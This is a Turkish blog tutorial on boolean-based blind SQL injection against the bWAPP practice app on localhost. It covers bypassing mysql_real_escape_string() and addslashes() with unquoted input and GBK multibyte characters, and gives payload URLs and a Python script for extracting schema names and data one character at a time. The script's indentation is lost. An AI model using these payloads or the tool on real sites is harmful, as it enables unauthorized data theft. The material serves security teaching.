Boolean SQL Injection & Exploit Tool

Boolean SQL Injection & Exploit Tool

Sqli bir çok varyasyonu olan bir web uygulama zafiyettir. Ancak hepsinde hedeflenen izinsiz bir şekilde sql sorgusu çalıştırmaktır. Türlerine göre bazılarını istismar etmek çok kolay olsada bazıları için ise fazladan uğraş verilmesi gerekir. Bu tür durumlarda işi otomatize hale getirmek için yazılan ufak toollar, zamandan tasarruf etmek açısından çok başarılı olabilmektedir. Sqli için ise birçok tool mevcut olmasına karşın hatta bizim yazacağımız tooldan bile daha işlevsel olmalarına rağmen bu yazıda kendi toolumuzu yazarak şunu hedefliyoruz aslında; hem zafiyetin arkasındaki mantığı anlamak hem de toollar nasıl yazılır konusunda bir nebzede olsa fikir sahibi olmak. Bu arada sqlmap varken neden böyle bir atraksiyona girişelim sorusu da cevap buldu sanırım. Öte yandan bir zafiyeti istismar ederken kendi ihtiyaçlarınıza göre ufak toolar yazarak pozitif sonuçlar alacak seviyedeyseniz zaten var olan tooları kullanmanızda bir sakınca yok bence. Biz sadece ezbere karşıyız. Mottomuz: Tool kullanmayı değil, tool yazmayı öğret.

Konumuza dönecek olursak; boolean sql injection zafiyeti, enjecte edilen sql cümlesinin sadece doğru mu? yanlış mı? olduğu bilgisini veren/sızdıran bir sqli türüdür. Bu sızma; bazen sayfanın tasarımının bozulması sebeb olurken, bazen sayfada değişmeler meydana getirebilir veya birazdan çözeceğimiz örnekte olduğu gibi (geliştirici tarafından dikkat edilmeden) bize sql sorgumuzun doğru veya yanlış olduğu hakkında aslında çok büyük ipucu veren bir çıktı/cümle olabilir. Biz artık veritabanı adından tutun da sutunlardaki bütün verilere kadar herşeyi sorgumuz doğru mu? yanlış mı? cevabı üzerinden giderek çekebileceğiz. Son derece tehlikelidir. Kolaylıkla exploit edilebilir. Harcanan zaman bakımından time based kadar uğraştırmasada diğer sqli çeşitlerine göre exploit etmek biraz daha zaman almaktadır.

Bu yazının ana konusu her ne kadar boolean sqli ve exploit toolunun yazılması olsada birazdan çözeceğimiz caseden dolayı mysql_real_escape_string() ve addslashes() fonksiyonlarına da değinmek istedim. Bundan dolayı şu bağlantıdaki birçok zafiyet barındıran web uygulamasını indirerek gerekli ayarları yapınız. Yazının dolu dolu olabilmesi adına güvenlik seviyesini high yaparak sadece boolean sqli değil aynı zamanda mysql_real_escape() ve addslashes() fonksiyonlarının nasıl bypass edilebileceğini de göreceğiz. Listeden A1 kategorisindeki sql injection-blind-boolean based olanı seçiniz. Uygulamamız high seviyesinde iken aşağıdaki resimde de görmüş olduğunuz üzere kullanıcıdan alınan girdi mysql_real_escape_string() fonksiyonundan; medium seviyesinde ise addslashes() fonksiyonundan geçirilmiştir.

Öncellikle uygun payloadı yazabilmemiz için mysql_real_escape_string() ve addslashes() fonksiyonlarının nasıl çalıştığını bilmemiz gerekir. Aslında bu iki fonksiyon arasında nüans olsada aynı işi yapmaktadırlar. addslashes() fonksiyonun ifa ettiği işlem; ", ', \, \x00 karakterlerini escape etmektedir. mysql_real_escape_string() fonksiyonu ise addslashes() fonksyionunun escape ettiği karaktelere ek olarak cr(\r), lf(\n) ve EOF(\x1a) özel karakterlerini de escape etmektedir. Ayrıca mysql_real_escape_string() fonksiyonunun bir veritabanı fonksiyonu olduğu unutulmamalıdır. Yani herhangi bir veritabanı bağlatısı yok ise kullanmanız durumunda hata alırsınız. İki fonksiyonun kullanımıyla ilgili görüntüler;

addslashes()

mysql_real_escape_string()

Resimlerden de anlaşılacağı üzere kaçış karakterleri, programlama dili için özel anlamı olan karakterlerin, özel anlamları dışında normal bir string ifadeymiş gibi kullanmamızı sağlayan yapıdır. Buraya kadar herşey iyi güzel ancak bu fonksiyonlar zaten sql injection, xss gibi web zafiyetlerinin önüne geçebilmek için yazılmış fonksiyonlar olmasına rağmen nasıl bypass edilebiliyor şimdi ona bakalım.

Kullanırken Dikkat!
Normal şartlarda mysql_real_escape_string() veya addslaheses() fonksiyonları exploitable değildir. Ancak bu fonksiyonlar kullanılırken 2 önemli nokta gözden kaçırılır ise o zaman zafiyete sebep verilmiş olur.

Tırnak işareti arasına yazmak?

  • 1) Dışarıdan aldığınız girdiyi(bu fonksiyonlardan geçirdikten sonra) tutan değişkeni sql cümlesinde yazarken tırnak işareti içerisine yazmalısınız. Neden peki?
1
2
3
$id = mysql_real_escape_string($_GET['id']); # addslashes() fonksiyonuda olabilir.

mysql_query("SELECT * FROM uyeler WHERE id=$id");

Yukarıda görmüş olduğunuz üzere id parametresine verilen değerde bulunabilecek özel karakterler(‘, “) escape edilmektedir. Görünürde bir güvenlik probleminin olmadığı görnüyor AMA ya özel karakter yoksa? :) O zaman bu fonksiyonlara verien girdiler ne ise çıktılar aynısı olacaktır. Yukarıdaki sql cümleciği üzerinden gidersek kullanıcıdan gelen bir ' veya " karakteri escape edileceltir ancak kullanıcı bu karakterileri kullanmadığı zaman hiçbir handikap ile karşılaşmayacaktır. Nihayetinde -1 or 1=1 payloadı sql cümlesine rahatlıkla enjecte edilebilir. “-1” yapmaktaki amacımız ise çok büyük ihtimal ile bu değere sahip bir id değer olmayacağından or dan sonraki yazacağımız sql sorgusu ile sorgunun doğru veya yanlış olduğu sonucunu çıkarabilecek kadar kontrol altına alabilmekteyiz. Sorgumuz aşağıdaki hale bürünecektir ve sorguda herhangi bir mantık ve syntax hatası olmadığından true dönecetir.(uyeler tablosundan id değeri -1 olan üyeyi seç veya 1=1 mi? -1 id numarasına sahip üye yok ancak veya ile cümle bağlandığı için 1=1 önermesinden dolayı true dönecektir.)

1
SELECT * FROM uyeler WHERE id=-1 or 1=1

Şimdi $id değişkenini herhangi bir tırnak işareti arasına yazdığımızda neden istismar edilemeyeceğini görelim.

1
2
3
4
5
6
7
8
...
$id = mysql_real_escape_string($_GET['id']);

mysql_query("SELECT * FROM uyeler WHERE id='$id'");
...
# payloadımızı ilgili alana yerleştirelim.
mysql_query("SELECT * FROM uyeler WHERE id='or 1=1--+'")
#Yukarıdaki sorguda her ne kadar sondaki tırnaktan kurtulsakta baştaki tırnaktan kurtulamıyoruz. Diğer taraftan tırnaktan kurtulmaya çalışmaz isek bu sefer payloadımız normal bir string olarak işlem görecektir ve injection başarısız olacaktır.

Karakter setine dikkat!

  • 2) Databasede kullandığınız karakter setinin gbk veya big5 olmaması. Alakaya maydanoz :)

Şimdi yukarıda anlatığımış olduğumuz; “Değişkenin tırnak içerisine yazılması durumunda exploitable edilemez” cümlesinin kısmen yanlış olduğunu gösterelim. Bu da doğrudan karakter setiyle ilgili bir durumdur. Nasıl mı? 0xbf5c(¿\) karakteri GBK ve big5 karakter setlerinde multibyte bir karakterdir(Bunlar dışında 0xbf5c ifadesinin multibyte olarak kabul edildiği başka karakter setleri de olabilir.) 0xbf(¿) ve 0x5c(\) birbirlerinden bağımsız değildir. Başka bir ifadeyle ¿\ karakteri tek bir karakter olarak işleme alınır. Böyle bir durumda kullanıcıdan 0xbf27(¿') girdisinin geldiğini varsayıp bu değeri mysql_real_escape_string() veya addslashes() fonksiyonların birinden geçirdiğimizi düşünürsek bunun doğal sonucu olarak bize 0xbf5c27(¿\') çıktısını verecektir. İşte olayın püf noktası 0xbf5c(¿\) ifadesinin tek bir karakter olarak işlem görmesinden dolayı tırnak işaretimizin 0x27(') boşa çıkmasıdır. Bingo! Artık sql sorgusunu istediğimiz şekilde manipüle edebiliriz.

0xe55c(å\) ifadesi de multibyte bir karakterdir. Bu karakteri kullanarak da injection yapabilirsiniz. Bu arada yazının ileriki bölümlerinde ilgili fonksiyonları bypass edebilmemiz için karakter setinizi gbk veya big5 yapmayı unutmayınız! Aksi halde bypass edemezsiniz.

1
2
3
$id = $_GET['id'];

mysql_query("SELECT * FROM uyeler WHERE id='¿\''"); # ¿\ ifadesi tek bir karakter olarak işlendiği için syntax error hatası alınır.

Tool’umuzu yazalım!
Yukarıdaki gördüğünüz sonucu elde etmeye kadar geldiyseniz ve şimdiye kadar anlatıklarımı da anladıysanız bundan sonrasi çok kolay! Çünkü artık elimizde bir payload var ve bu payload üzerinden doğru/yanlış doğruluk değerleriyle bütün veritabanını dump edebiliriz. Evet yanlış duymadınız 5 kavanoz bal sadece 60tl..:)

1
2
3
4
5
#True
SELECT * FROM movies WHERE title='¿\' or 1=1--+

#False:
SELECT * FROM movies WHERE title='¿\' or 1=0--+

Artık or ifadesinden sonra kendi sql sorgumuzu yazacağız ve yazacağımız sorgunun cevabı doğru mu? yanlış mı? şeklinde mantıksal olmalıdır. Misal;

1
2
3
4
5
6
7
SELECT * FROM movies WHERE title='¿\' or substr((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)=CHAR(97)--+

SELECT * FROM movies WHERE title='¿\' or substr((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)=CHAR(98)--+

SELECT * FROM movies WHERE title='¿\' or substr((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)=CHAR(99)--+
...
#Hepsini manuel yazacak değiliz :/

Yukarıdaki sql sorgusu karışık gelmiş olabilir. Kısaca açıklarsak; substr fonksiyonu bir string ifade parçalamamıza yarayan bir mysql fonksiyonudur.

  • information_schema veritabanındaki schemata tablosundaki schema_name sutunundaki ilk veriyi al.
  • Aldığın bu verinin 1 karakterinden başlayarak 1 karakter al.(Diğer bir deyişle “ilk harfi”)
  • İlk harf a’ya eşit mi?
  • Eşit ise “The movie exist in our database!” cümlesi çıkacak, değil ise “The movie does not exists in our database!” cümlesi çıkacak.
  • Aşağıdaki gif herşeyi anlatıyor.

Harfler char olduğundan dolayı tırnak işaretleri içerisine yazmamız gerekirdi bu nedenle tırnaklardan kaçmak için ascii tablosundaki karakterlerin sayısal değerini karaktere dönüştüren char() fonksiyonunu kullanarak tırnak işaretinden kaynaklı olası bir syntax hatasından kurtulmuş olduk. Bu arada dikkatinizden kaçmasın, benim case-sensitive off, siz artık duruma göre büyük harfleride olasılık dahiline katmak isterseniz ascii tablosundaki ilgili aralığı alabilirsiniz veya veritabanın bununla ilgili fonksiyonlarından istifade edebilirsiniz. Yukarıdaki gifte gördüğünüz üzere veri tabanındaki çekeceğimiz her kelimedeki harf için payloadımızda ilgili kısmı değiştirip tekrar tekrar denememiz lazım ta ki doğru harfi buluna kadar.
Payloadımızdaki değişkenlerimiz belli.

  • substr fonksiyonundaki parametre.
  • eşitliğin sağ tarafı.
  • limit değerimizdeki parametre

Aslında tablo ve database değerlerimizde değişken ancak şimdilik fazla karmaşa olmasın. Şimdi kolarımızı sıvayalım ve python ile exploit toolumuzu yazmaya başlayalım. Başlangıç seviyesinde olduğunuzu düşünüyorsanız bu yazımı okuduktan sonra devam edin.

Yazacağımız tool aşağıdaki algoritmayı izleyecektir.

  1. Bütün olası karakterleri tutan bir değişken/liste oluştur.
  2. Listeki bir sonraki karakteri(+1) url’de ilgili yere yaz.
  3. Payloadı da ihtiva eden isteği gönder.
  4. Dönen cevabı al.
  5. Cevabı parse et.
  6. Listedeki son eleman denendi mi? Evet ise 9. adıma git, hayır ise 7. adıma git
  7. Eğer does not kelimesi var ise 2. adıma git, hayır ise 8. adıma git.
  8. O an denenen harfi bir değişkende tut ve substr’nin ikinci parametresini 1 arttır ve 2. adıma git.
  9. Listedeki bütün elemanlar denenmesine rağmen sonuç negatif ise limit değerini 1 arttır ve payloaddaki değişkenlerini sıfırlayıp 2. adıma git.

Bizim izleyeceğimiz algoritma yukarıdaki olacak ancak tabiki de farklı algoritmalar ile de çözüme ulaşılabilir. Örneğin doğru sorgu ile yanlış sorgu arasındaki tek fark does not kelimesidir. Pythonda beautifulsoup kütüphanesini kullanarak does not kelimesi yok ise doğru, var ise yanlış şeklinde bir çıkarsama ile çözüme ulaşabilirsiniz.

Boolean sqli payload
Toolumuzu yazmaya başlamadan önce kullanacağımız payloadları verelim.
Bütün veritabanları isimlerini çekmek için;

1
http://localhost/bWapp/bwapp/sqli_4.php?title=%bf%27 or substr((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)=CHAR(97)--+&action=search--+

Aktif veritabanındaki tüm tablo isimlerini çekmek için;

1
http://localhost/bWapp/bwapp/sqli_4.php?title=%bf%27 or substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database()),1,1)=CHAR(97)--+&action=search--+

Seçilen tablodaki tüm sutun isimlerini çekmek için;

1
http://localhost/bWapp/bwapp/sqli_4.php?title=%bf%27 or substr((SELECT column_name FROM information_schema.columns WHERE table_name=CHAR(tablo_adi_decimal_değeri) AND table_schema=database() LIMIT 0,1),1,1)=CHAR(97)--+&action=search"

Seçilen sütundaki bilgileri çekmek için;

1
http://localhost/bWapp/bwapp/sqli_4.php?title=%bf%27 or substr((SELECT sutun_adi1 FROM table_adi LIMIT 0,1),1,1)=CHAR(97)--+&action=search

Tabi bu payloadlarımızda yukarıda bahsettiğimiz değişken kısımlarının değiştirilerek deneme/yanılma yöntemi ile harflerin tek tek bulunması gerekir. Bu da akıl alır gibi değil. Bu yüzden bunu otomatize hale getirmek için tool yazıyoruz ve artık boolean sqli zafiyetini exploit etmek için gerekli bilgiye ve payloadlara sahip olduğumuza göre başlayalım.

1
2
3
4
5
6
7
8
9
import requests
from bs4 import BeautifulSoup as bs
from termcolor import cprint, colored

# Bütün olası karakterlerlerin ascii tablosundaki sayısal aralıklarını alıyoruz.
alfabe = list(range(43,58))+list(range(95,123))+list()

# Uygulamamızda loginning olduğundan cookie değerimizi alıyoruz.
login = {'PHPSESSID': 'cpfrrq0867totod6h7lhsv3nk5', 'security_level':'2'}

Yukarıdaki aralığı siz kendi ihtiyacınıza göre genişletebilirsiniz. PHPSESSID ise giriş/çıkış durumlarında değiştiği için dikkat ediniz.

Kodumuzun devamında ise iç içe 3 adet for döngüsü kuracağız.

  • Bunlardan en dıştaki for; veritabanları, tablolar ve sutunların sayıları ile ilgili olacak. Kaç sutun, kaç tablo, kaç db bulmasını istersiniz?
  • Orta kısımdaki for; veritabanı, tablo veya sutun isimlerindeki uzunluk ile ilgili olacak.
  • En içteki for ise olasılık kümemizdeki bütün harfleri denemek için olacak.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Çekilecek veritabanı, tablo veya kolon sayısı
for i in range(3):
nxt = True
# Çekilecek olan veritabanı, talo, veya kolon ismi uzunluğu
for j in range(1,42):
if nxt:
for k in alfabe:
url = "http://localhost/bWapp/bwapp/sqli_4.php?title=%bf%27 or substr((SELECT schema_name FROM information_schema.schemata LIMIT "+str(i)+",1), "+str(j)+",1)=CHAR("+str(k)+")--+&action=search"
req = requests.get(url, cookies=login) # request send
# nxt değişkenimiz ise doğru karakteri bolduğunda içteki döngüden çıkıp, substr parametresinin değerini bir arttırmak için kontrol değişkenimiz.

beau = bs(req.text, "lxml") # Dönen cevabı lxml formatında al.
result = beau.find("form").next_sibling #cevapta bulunan form elemanından sonraki etiketsiz stringi al.

if not "does not" in result: # Result değişkenimizdeki stringde "does not" kelimesi var ise...
cprint("Found! "+chr(k)+" - "+url, "white", "on_green") #cprint modülü konsolda renkli çıktı vermek için fazla takılmayın buraya. print kullanabilirsiniz.
db += chr(k) # Bulunan kelimeyi ilgili değişkene ekle.
break #İçteki döngüden çık.

else: # does not kelimesi geçiyor ise...
cprint("Failed! "+chr(k)+" - "+url, "white", "on_red")
if chr(k) == "z": #Olasılıklar kümemizdeki son eleman olan "z" denendi mi?
db += ", "
cprint("Veritabanı Adı: "+db, "white", "on_cyan", attrs=['bold'])

with open("data.txt", "a") as p: #Bulduğumuz tablo adları sutunlardaki veriler vs. metin dosyasına yazdık.
p.writelines(db+"\n")

nxt = False
break

else:
break

Her satırın neyi icra ettiğini kısaca ifade etmeye çalıştım ayrıca incelemek isteyen olur diye githuba da yükledim. Biliyorum tam otomatize bir tool olmadı. Çünkü veri tabanı isimlerini bulduktan sonra tablo isimlerini bulması için kaynak kodda yukarıda verdiğimiz payloadları kullanarak elle değiştirmeniz gerekir. Aynı işlemi sutün isimlerini bulduğunuz zamanda uyarlamanız gerekecektir. Github da duruyor zaten katkı sağlamak isteyen olursa ilgilenebilir.
Neler eklenebilir?
Öncellikle veri tabanı ismini bulduktan sonra tablo isimlerini bulması için payloadı kendisi generate edebilir ve yine aynı şekilde sutun isimleri ve veriler içinde yapılabilir. Bir payload listesi oluşturulup brute force ile zafiyet araması otomotik hale getirilebilir. Umarım bu blog post sql injection saldırılarındaki temel mantaliteye dair bir fikir vermiştir.

Sağlıcakla kalınız.

Comments